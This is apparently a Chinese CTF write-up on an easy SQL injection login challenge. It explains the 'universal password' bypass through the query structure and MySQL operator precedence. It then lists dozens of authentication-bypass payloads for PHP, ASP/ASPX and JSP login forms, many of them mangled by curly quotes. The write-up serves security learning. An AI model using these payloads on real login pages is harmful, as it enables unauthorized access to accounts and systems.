0X0000000000000001 审题
其实由题目可以知道这是道SQL注入,然后看到登录,首先尝试万能密码:
admin’ or ‘1’='1(红色部分为切入点,其他随意) 这道题的username随便
如名字所说,这是一道很ez的SQL注入
通过这道题,我们来延伸一下其他东西
0X0000000000000002 关于万能密码
为什么在注入的时候输入万能密码就可以进入呢,对于所有万能密码,都是”万能“的吗?
那么首先,让我们清楚
SQL注入-万能密码的注入原理
- 0_用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
//用户登陆时,后台执行的数据库查询操作
Select user_id,user_type,email From users Where user_id='用户名' And password='密码'
- 1_网站后台在进行数据库查询的时候没有对单引号(’)进行过滤,当输入用户名和万能密码【2 'or '1】的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' or '1'
- 2_SQL语句中逻辑运算符具有优先级
利用万能的互联网,优先级从上往下,由低到高
:= 对变量赋值
||, OR, XOR 管道符(将前面语句作为条件,执行符号后面的语句),或(条件满足其一即返回值),异或(str1与str2比较,相同为0,不同为1)
&&, AND
NOT 否定之后的所有条件
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE
由于这些优先级,SQL语句在后台解析的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' 和'1'
两句bool进行逻辑or运算,恒为TRUE.
了解了原理过后,万能密码又有哪些呢
万能密码归纳
php:
‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–
asp aspx:
"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’
jsp :
1’or’1’=‘1
admin’ or 1=1/*
- 补充:
网上还看到师傅用sqlmap一把梭,我不是很会用sqlmap
点击跳转——>